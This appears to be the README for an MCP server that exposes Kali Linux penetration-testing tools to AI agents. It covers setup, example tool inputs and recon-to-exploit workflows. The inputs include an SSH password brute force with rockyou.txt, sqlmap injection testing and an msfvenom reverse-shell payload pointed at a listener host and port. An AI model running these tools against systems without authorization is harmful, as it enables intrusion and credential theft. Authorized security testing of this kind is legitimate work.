Kali MCP 安全工具服务器

sudo apt update
sudo apt install -y \
  nmap masscan netdiscover tcpdump tshark \
  gobuster sqlmap nikto wpscan ffuf nuclei \
  hydra john hashcat \
  exploitdb metasploit-framework

cd kali-mcp-server
npm install
npm run build

# Start the server
npm start

# Or run directly
node dist/index.js

# Launch the MCP Inspector for interactive testing
npm run inspector

# Or
npx @modelcontextprotocol/inspector node dist/index.js

{
  "mcpServers": {
    "kali-security": {
      "command": "node",
      "args": ["/path/to/kali-mcp-server/dist/index.js"]
    }
  }
}

{
  "target": "192.168.1.1",
  "ports": "22,80,443",
  "scan_type": "tcp_syn",
  "timing": "normal",
  "service_version": true
}

{
  "network": "192.168.1.0/24",
  "method": "ping",
  "timeout": 120
}

{
  "url": "https://example.com",
  "wordlist": "/usr/share/wordlists/dirb/common.txt",
  "extensions": "php,html,txt",
  "threads": 10
}

{
  "url": "https://example.com/page?id=1",
  "level": 1,
  "risk": 1,
  "batch": true
}

{
  "target": "192.168.1.1",
  "service": "ssh",
  "username": "admin",
  "password_list": "/usr/share/wordlists/rockyou.txt",
  "threads": 16
}

{
  "query": "apache 2.4",
  "platform": "linux"
}

{
  "cve": "CVE-2021-44228"
}

{
  "payload": "linux/x64/shell_reverse_tcp",
  "lhost": "192.168.1.100",
  "lport": 4444,
  "format": "elf"
}

export NMAP_PATH=/usr/bin/nmap
export GOBUSTER_PATH=/usr/bin/gobuster
export SQLMAP_PATH=/usr/bin/sqlmap
# ... etc

❌ Command failed: nmap -sS 192.168.1.1

🔢 Exit code: 1

📋 Error output:
You requested a scan type which requires root privileges.

Possible causes:
- TCP SYN scan requires root/sudo
- Try using scan_type="tcp_connect" instead
- Run the server with sudo (not recommended)

Suggested actions:
1. Use tcp_connect scan type (doesn't require root)
2. Grant CAP_NET_RAW capability to nmap
3. Check permissions and try again

# Check if tool is installed
which nmap

# Install missing tools
sudo apt install nmap

# Or set custom path
export NMAP_PATH=/custom/path/to/nmap

{
  "target": "192.168.1.1",
  "ports": "1-65535",
  "timeout": 1800  // Increase to 30 minutes
}

kali-mcp-server/
├── src/
│   ├── index.ts           # Main server
│   ├── types.ts           # Type definitions
│   ├── constants.ts       # Configuration
│   ├── utils/
│   │   ├── executor.ts    # Command execution
│   │   ├── validator.ts   # Input validation
│   │   ├── formatter.ts   # Output formatting
│   │   └── parser.ts      # Output parsing
│   ├── tools/
│   │   ├── network.ts     # Network tool handlers
│   │   ├── web.ts         # Web tool handlers
│   │   ├── password.ts    # Password tool handlers
│   │   └── exploit.ts     # Exploit tool handlers
│   └── schemas/
│       ├── network.schemas.ts
│       ├── web.schemas.ts
│       ├── password.schemas.ts
│       └── exploit.schemas.ts
└── dist/                  # Compiled output

// 1. Schema
export const MyToolSchema = z.object({
  target: z.string().describe("Target to scan"),
  option: z.boolean().default(false),
});

// 2. Handler
export async function myTool(input: MyToolInput): Promise<ToolResult> {
  const args = [input.target];
  if (input.option) args.push("--option");

  const result = await executeCommand("mytool", args);
  return formatExecutionResult(result);
}

// 3. Register in index.ts
{
  name: "kali_category_mytool_action",
  description: "Description of what it does",
  inputSchema: zodToJsonSchema(MyToolSchema),
}

// 4. Add to ALLOWED_COMMANDS
export const ALLOWED_COMMANDS = new Set([
  // ... existing commands
  "mytool",
]);

npm run build
npm start

npm run inspector

1. Discover hosts: kali_network_nmap_discover
2. Port scan: kali_network_nmap_scan
3. Service detection: kali_network_nmap_scan with service_version=true
4. Vulnerability scan: kali_network_nmap_scan with script_scan="vuln"

1. Directory enumeration: kali_web_gobuster_dir
2. Subdomain discovery: kali_web_gobuster_dns
3. Vulnerability scanning: kali_web_nikto_scan
4. SQL injection testing: kali_web_sqlmap_test

1. Network brute force: kali_password_hydra_brute
2. Hash identification: Manual analysis
3. Hash cracking: kali_password_john_crack or kali_password_hashcat_crack

1. Search exploits: kali_exploit_searchsploit_search
2. Examine exploit: kali_exploit_searchsploit_examine
3. Generate payload: kali_exploit_msfvenom_generate